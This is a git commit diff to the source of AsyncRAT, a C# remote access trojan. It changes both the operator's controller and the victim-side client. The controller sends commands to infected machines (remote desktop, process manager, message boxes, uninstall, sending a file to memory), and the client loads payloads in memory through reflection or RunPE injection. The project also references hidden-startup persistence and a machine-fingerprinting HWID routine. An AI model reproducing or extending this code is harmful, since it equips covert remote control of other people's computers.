This commit is contained in:
NYAN CAT 2019-03-30 06:51:51 -07:00
parent 4719d0042b
commit 4c441f2c07
12 changed files with 208 additions and 211 deletions

View File

@ -123,7 +123,7 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Message").AsString = "This is a ping!";
foreach (Clients CL in Settings.Online.ToList())
{
await Task.Run(() =>
await Task.Run(() =>
{
CL.BeginSend(msgpack.Encode2Bytes());
});
@ -137,7 +137,7 @@ namespace AsyncRAT_Sharp
toolStripStatusLabel1.Text = $"Online {Settings.Online.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()}";
}
private async void cLOSEToolStripMenuItem_Click(object sender, EventArgs e)
private void cLOSEToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
{
@ -145,16 +145,13 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Packet").AsString = "close";
foreach (ListViewItem C in listView1.SelectedItems)
{
await Task.Run(() =>
{
Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
});
Clients CL = (Clients)C.Tag;
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
}
}
}
private async void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e)
private void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
{
@ -168,11 +165,8 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Message").AsString = Msgbox;
foreach (ListViewItem C in listView1.SelectedItems)
{
await Task.Run(() =>
{
Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
});
Clients CL = (Clients)C.Tag;
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
}
}
}
@ -194,12 +188,9 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Update").AsString = "false";
foreach (ListViewItem C in listView1.SelectedItems)
{
await Task.Run(() =>
{
Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
CL.LV.ForeColor = Color.Red;
});
Clients CL = (Clients)C.Tag;
CL.LV.ForeColor = Color.Red;
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
}
}
}
@ -210,7 +201,7 @@ namespace AsyncRAT_Sharp
}
}
private async void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e)
private void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
{
@ -220,11 +211,8 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Packet").AsString = "uninstall";
foreach (ListViewItem C in listView1.SelectedItems)
{
await Task.Run(() =>
{
Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
});
Clients CL = (Clients)C.Tag;
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
}
}
catch (Exception ex)
@ -250,12 +238,9 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Update").AsString = "true";
foreach (ListViewItem C in listView1.SelectedItems)
{
await Task.Run(() =>
{
Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
CL.LV.ForeColor = Color.Red;
});
Clients CL = (Clients)C.Tag;
CL.LV.ForeColor = Color.Red;
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
}
}
}
@ -266,7 +251,7 @@ namespace AsyncRAT_Sharp
}
}
private async void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e)
private void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
{
@ -292,12 +277,9 @@ namespace AsyncRAT_Sharp
foreach (ListViewItem C in listView1.SelectedItems)
{
await Task.Run(() =>
{
Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
CL.LV.ForeColor = Color.Red;
});
Clients CL = (Clients)C.Tag;
CL.LV.ForeColor = Color.Red;
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
}
}
SF.Close();
@ -309,7 +291,7 @@ namespace AsyncRAT_Sharp
}
}
private async void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e)
private void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
@ -321,28 +303,25 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Option").AsString = "true";
foreach (ListViewItem C in listView1.SelectedItems)
{
await Task.Run(() =>
{
Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
Clients CL = (Clients)C.Tag;
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
this.BeginInvoke((MethodInvoker)(() =>
this.BeginInvoke((MethodInvoker)(() =>
{
RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID];
if (RD == null)
{
RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID];
if (RD == null)
RD = new RemoteDesktop
{
RD = new RemoteDesktop
{
Name = "RemoteDesktop:" + CL.ID,
F = this,
Text = "RemoteDesktop:" + CL.ID,
C = CL,
Active = true
};
RD.Show();
}
}));
});
Name = "RemoteDesktop:" + CL.ID,
F = this,
Text = "RemoteDesktop:" + CL.ID,
C = CL,
Active = true
};
RD.Show();
}
}));
}
}
catch (Exception ex)
@ -353,7 +332,7 @@ namespace AsyncRAT_Sharp
}
private async void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e)
private void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e)
{
try
{
@ -364,26 +343,23 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Option").AsString = "List";
foreach (ListViewItem C in listView1.SelectedItems)
{
await Task.Run(() =>
Clients CL = (Clients)C.Tag;
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
this.BeginInvoke((MethodInvoker)(() =>
{
Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
this.BeginInvoke((MethodInvoker)(() =>
ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID];
if (PM == null)
{
ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID];
if (PM == null)
PM = new ProcessManager
{
PM = new ProcessManager
{
Name = "processManager:" + CL.ID,
Text = "processManager:" + CL.ID,
F = this,
C = CL
};
PM.Show();
}
}));
});
Name = "processManager:" + CL.ID,
Text = "processManager:" + CL.ID,
F = this,
C = CL
};
PM.Show();
}
}));
}
}
}

View File

@ -24,7 +24,7 @@ namespace AsyncRAT_Sharp.Forms
private void timer1_Tick(object sender, EventArgs e)
{
if (!C.Client.Connected) this.Close();
if (!C.ClientSocket.Connected) this.Close();
}
private async void killToolStripMenuItem_Click(object sender, EventArgs e)

View File

@ -32,7 +32,7 @@ namespace AsyncRAT_Sharp.Forms
private void timer1_Tick(object sender, EventArgs e)
{
if (!C.Client.Connected) this.Close();
if (!C.ClientSocket.Connected) this.Close();
}
private void RemoteDesktop_Activated(object sender, EventArgs e)

View File

@ -31,8 +31,8 @@ namespace AsyncRAT_Sharp.Handle_Packet
{
Client.LV = new ListViewItem();
Client.LV.Tag = Client;
Client.LV.Text = string.Format("{0}:{1}", Client.Client.RemoteEndPoint.ToString().Split(':')[0], Client.Client.LocalEndPoint.ToString().Split(':')[1]);
string[] ipinf = cNewGeoUse.GetIpInf(Client.Client.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
Client.LV.Text = string.Format("{0}:{1}", Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], Client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]);
string[] ipinf = cNewGeoUse.GetIpInf(Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
Client.LV.SubItems.Add(ipinf[1]);
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);

View File

@ -14,92 +14,94 @@ namespace AsyncRAT_Sharp.Sockets
{
class Clients
{
public Socket Client { get; set; }
private byte[] Buffer { get; set; }
private long Buffersize { get; set; }
private bool BufferRecevied { get; set; }
private MemoryStream MS { get; set; }
public Socket ClientSocket { get; set; }
private byte[] ClientBuffer { get; set; }
private long ClientBuffersize { get; set; }
private bool ClientBufferRecevied { get; set; }
private MemoryStream ClientMS { get; set; }
public ListViewItem LV { get; set; }
private object SendSync { get; set; }
private object EndSendSync { get; set; }
public string ID { get; set; }
public Clients(Socket CLIENT)
public Clients(Socket socket)
{
if (Settings.Blocked.Contains(CLIENT.RemoteEndPoint.ToString().Split(':')[0]))
if (Settings.Blocked.Contains(socket.RemoteEndPoint.ToString().Split(':')[0]))
{
Disconnected();
return;
}
else
HandleLogs.Addmsg($"Client {CLIENT.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green);
HandleLogs.Addmsg($"Client {socket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green);
Client = CLIENT;
Buffer = new byte[1];
Buffersize = 0;
BufferRecevied = false;
MS = new MemoryStream();
ClientSocket = socket;
ClientBuffer = new byte[1];
ClientBuffersize = 0;
ClientBufferRecevied = false;
ClientMS = new MemoryStream();
LV = null;
SendSync = new object();
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
EndSendSync = new object();
ClientSocket.BeginReceive(ClientBuffer, 0, ClientBuffer.Length, SocketFlags.None, ReadClientData, null);
}
public async void ReadClientData(IAsyncResult ar)
{
try
{
if (!Client.Connected)
if (!ClientSocket.Connected)
{
Disconnected();
return;
}
else
{
int Recevied = Client.EndReceive(ar);
int Recevied = ClientSocket.EndReceive(ar);
if (Recevied > 0)
{
if (BufferRecevied == false)
if (Buffer[0] == 0)
if (ClientBufferRecevied == false)
if (ClientBuffer[0] == 0)
{
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
MS.Dispose();
MS = new MemoryStream();
if (Buffersize > 0)
ClientBuffersize = Convert.ToInt64(Encoding.UTF8.GetString(ClientMS.ToArray()));
ClientMS.Dispose();
ClientMS = new MemoryStream();
if (ClientBuffersize > 0)
{
Buffer = new byte[Buffersize];
Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + " Bytes ///");
BufferRecevied = true;
ClientBuffer = new byte[ClientBuffersize];
Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///");
ClientBufferRecevied = true;
}
}
else
await MS.WriteAsync(Buffer, 0, Buffer.Length);
await ClientMS.WriteAsync(ClientBuffer, 0, ClientBuffer.Length);
else
{
await MS.WriteAsync(Buffer, 0, Recevied);
if (MS.Length == Buffersize)
await ClientMS.WriteAsync(ClientBuffer, 0, Recevied);
Settings.Received += Recevied;
if (ClientMS.Length == ClientBuffersize)
{
try
{
ThreadPool.QueueUserWorkItem(HandlePacket.Read, new object[] { Settings.aes256.Decrypt(MS.ToArray()), this });
}
catch (CryptographicException)
{
HandleLogs.Addmsg($"Client {Client.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong password, IP blocked", Color.Red);
Settings.Blocked.Add(Client.RemoteEndPoint.ToString().Split(':')[0]);
Disconnected();
return;
}
Settings.Received += MS.ToArray().Length;
Buffer = new byte[1];
Buffersize = 0;
MS.Dispose();
MS = new MemoryStream();
BufferRecevied = false;
try
{
ThreadPool.QueueUserWorkItem(HandlePacket.Read, new object[] { Settings.aes256.Decrypt(ClientMS.ToArray()), this });
}
catch (CryptographicException)
{
HandleLogs.Addmsg($"Client {ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong password, IP blocked", Color.Red);
Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]);
Disconnected();
return;
}
ClientBuffer = new byte[1];
ClientBuffersize = 0;
ClientMS.Dispose();
ClientMS = new MemoryStream();
ClientBufferRecevied = false;
}
else
Buffer = new byte[Buffersize - MS.Length];
ClientBuffer = new byte[ClientBuffersize - ClientMS.Length];
}
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
ClientSocket.BeginReceive(ClientBuffer, 0, ClientBuffer.Length, SocketFlags.None, ReadClientData, null);
}
else
{
@ -117,21 +119,26 @@ namespace AsyncRAT_Sharp.Sockets
public void Disconnected()
{
if (LV != null)
{
if (Program.form1.listView1.InvokeRequired)
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
{
LV.Remove();
}));
lock (Settings.Online)
Settings.Online.Remove(this);
}
try
{
MS?.Dispose();
Client?.Dispose();
if (LV != null)
{
if (Program.form1.listView1.InvokeRequired)
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
{
LV.Remove();
}));
lock (Settings.Online)
Settings.Online.Remove(this);
}
}
catch { }
try
{
ClientMS?.Dispose();
ClientSocket?.Dispose();
}
catch { }
}
@ -140,7 +147,12 @@ namespace AsyncRAT_Sharp.Sockets
{
lock (SendSync)
{
if (!Client.Connected)
if (ClientSocket == null)
{
Disconnected();
return;
}
if (!ClientSocket.Connected)
{
Disconnected();
return;
@ -148,16 +160,12 @@ namespace AsyncRAT_Sharp.Sockets
try
{
using (MemoryStream MEM = new MemoryStream())
{
byte[] buffer = Settings.aes256.Encrypt((byte[])Msgs);
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0);
MEM.Write(buffersize, 0, buffersize.Length);
MEM.Write(buffer, 0, buffer.Length);
Client.Poll(-1, SelectMode.SelectWrite);
Client.BeginSend(MEM.ToArray(), 0, (int)MEM.Length, SocketFlags.None, EndSend, null);
Settings.Sent += (long)MEM.Length;
}
byte[] buffer = Settings.aes256.Encrypt((byte[])Msgs);
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0);
ClientSocket.Poll(-1, SelectMode.SelectWrite);
ClientSocket.BeginSend(buffersize, 0, buffersize.Length, SocketFlags.None, EndSend, null);
ClientSocket.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, EndSend, null);
}
catch
{
@ -170,14 +178,20 @@ namespace AsyncRAT_Sharp.Sockets
public void EndSend(IAsyncResult ar)
{
try
lock (EndSendSync)
{
Client.EndSend(ar);
}
catch
{
Disconnected();
return;
try
{
int sent = 0;
sent = ClientSocket.EndSend(ar);
Debug.WriteLine("/// Server Sent " + sent.ToString() + " Bytes ///");
Settings.Sent += sent;
}
catch
{
Disconnected();
return;
}
}
}
}

View File

@ -24,7 +24,7 @@ namespace AsyncRAT_Sharp.Sockets
SendTimeout = -1,
};
Server.Bind(IpEndPoint);
Server.Listen(20);
Server.Listen(30);
HandleLogs.Addmsg($"Listenning {port}", Color.Green);
Server.BeginAccept(EndAccept, null);
}

View File

@ -70,7 +70,8 @@
<Compile Include="Handle Packet\HandlePacket.cs" />
<Compile Include="Handle Packet\ProcessManager.cs" />
<Compile Include="Handle Packet\RemoteDesktop.cs" />
<Compile Include="Handle Packet\SendFile.cs" />
<Compile Include="Handle Packet\SendToMemory.cs" />
<Compile Include="Helper\Methods.cs" />
<Compile Include="Install\HiddenStartup.cs" />
<Compile Include="Install\NormalStartup.cs" />
<Compile Include="MessagePack\BytesTools.cs" />

View File

@ -54,11 +54,11 @@ namespace Client.Handle_Packet
Thread thread = null;
if (Injection.Length == 0)
{
thread = new Thread(new ParameterizedThreadStart(SendFile.SendToMemory));
thread = new Thread(new ParameterizedThreadStart(SendToMemory.Reflection));
}
else
{
thread = new Thread(new ParameterizedThreadStart(SendFile.RunPE));
thread = new Thread(new ParameterizedThreadStart(SendToMemory.RunPE));
}
thread.Start(parameters);
}

View File

@ -5,9 +5,9 @@ using System.Runtime.InteropServices;
namespace Client.Handle_Packet
{
class SendFile
class SendToMemory
{
public static void SendToMemory(object obj)
public static void Reflection(object obj)
{
object[] Obj = (object[])obj;
byte[] Buffer = (byte[])Obj[0];

View File

@ -0,0 +1,30 @@
using System;
using System.Security.Cryptography;
using System.Text;
namespace Client.Helper
{
static class Methods
{
public static string HWID()
{
StringBuilder sb = new StringBuilder();
sb.Append(Environment.UserDomainName);
sb.Append(Environment.UserName);
sb.Append(Environment.MachineName);
sb.Append(Environment.Version);
return GetHash(sb.ToString());
}
public static string GetHash(string strToHash)
{
MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider();
byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash);
bytesToHash = md5Obj.ComputeHash(bytesToHash);
StringBuilder strResult = new StringBuilder();
foreach (byte b in bytesToHash)
strResult.Append(b.ToString("x2"));
return strResult.ToString().Substring(0, 12).ToUpper();
}
}
}

View File

@ -8,6 +8,7 @@ using System.Text;
using System.Threading;
using System.Security.Cryptography;
using Client.Handle_Packet;
using Client.Helper;
namespace Client.Sockets
{
@ -22,6 +23,7 @@ namespace Client.Sockets
private static Timer Tick { get; set; }
private static MemoryStream MS { get; set; }
private static object SendSync { get; set; }
private static object EndSendSync { get; set; }
public static bool Connected { get; set; }
public static void InitializeClient()
@ -44,6 +46,7 @@ namespace Client.Sockets
BufferRecevied = false;
MS = new MemoryStream();
SendSync = new object();
EndSendSync = new object();
BeginSend(SendInfo());
TimerCallback T = CheckServer;
Tick = new Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000));
@ -52,7 +55,6 @@ namespace Client.Sockets
catch
{
Debug.WriteLine("Disconnected!");
Thread.Sleep(new Random().Next(1 * 1000, 6 * 1000));
Connected = false;
}
}
@ -76,7 +78,7 @@ namespace Client.Sockets
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "ClientInfo";
msgpack.ForcePathObject("HWID").AsString = HWID();
msgpack.ForcePathObject("HWID").AsString = Methods.HWID();
msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString();
msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " +
Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
@ -85,28 +87,7 @@ namespace Client.Sockets
return msgpack.Encode2Bytes();
}
private static string HWID()
{
StringBuilder sb = new StringBuilder();
sb.Append(Environment.UserDomainName);
sb.Append(Environment.UserName);
sb.Append(Environment.MachineName);
sb.Append(Environment.Version);
return GetHash(sb.ToString());
}
private static string GetHash(string strToHash)
{
MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider();
byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash);
bytesToHash = md5Obj.ComputeHash(bytesToHash);
StringBuilder strResult = new StringBuilder();
foreach (byte b in bytesToHash)
strResult.Append(b.ToString("x2"));
return strResult.ToString().Substring(0, 12).ToUpper();
}
public static void ReadServertData(IAsyncResult ar)
public static void ReadServertData(IAsyncResult Iar)
{
try
{
@ -116,14 +97,14 @@ namespace Client.Sockets
return;
}
int Recevied = Client.EndReceive(ar);
int Recevied = Client.EndReceive(Iar);
if (Recevied > 0)
{
if (BufferRecevied == false)
if (Buffer[0] == 0)
{
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + " Bytes ///");
Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///");
MS.Dispose();
MS = new MemoryStream();
if (Buffersize > 0)
@ -168,24 +149,14 @@ namespace Client.Sockets
{
lock (SendSync)
{
if (!Client.Connected)
{
Connected = false;
return;
}
try
{
using (MemoryStream MS = new MemoryStream())
{
byte[] buffer = Settings.aes256.Encrypt(Msg);
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0);
MS.Write(buffersize, 0, buffersize.Length);
MS.Write(buffer, 0, buffer.Length);
byte[] buffer = Settings.aes256.Encrypt(Msg);
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0);
Client.Poll(-1, SelectMode.SelectWrite);
Client.BeginSend(MS.ToArray(), 0, (int)(MS.Length), SocketFlags.None, EndSend, null);
}
Client.Poll(-1, SelectMode.SelectWrite);
Client.BeginSend(buffersize, 0, buffersize.Length, SocketFlags.None, EndSend, null);
Client.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, EndSend, null);
}
catch
{
@ -197,14 +168,19 @@ namespace Client.Sockets
public static void EndSend(IAsyncResult ar)
{
try
lock (EndSendSync)
{
Client.EndSend(ar);
}
catch
{
Connected = false;
return;
try
{
int sent = 0;
sent = Client.EndSend(ar);
Debug.WriteLine("/// Client Sent " + sent.ToString() + " Bytes ///");
}
catch
{
Connected = false;
return;
}
}
}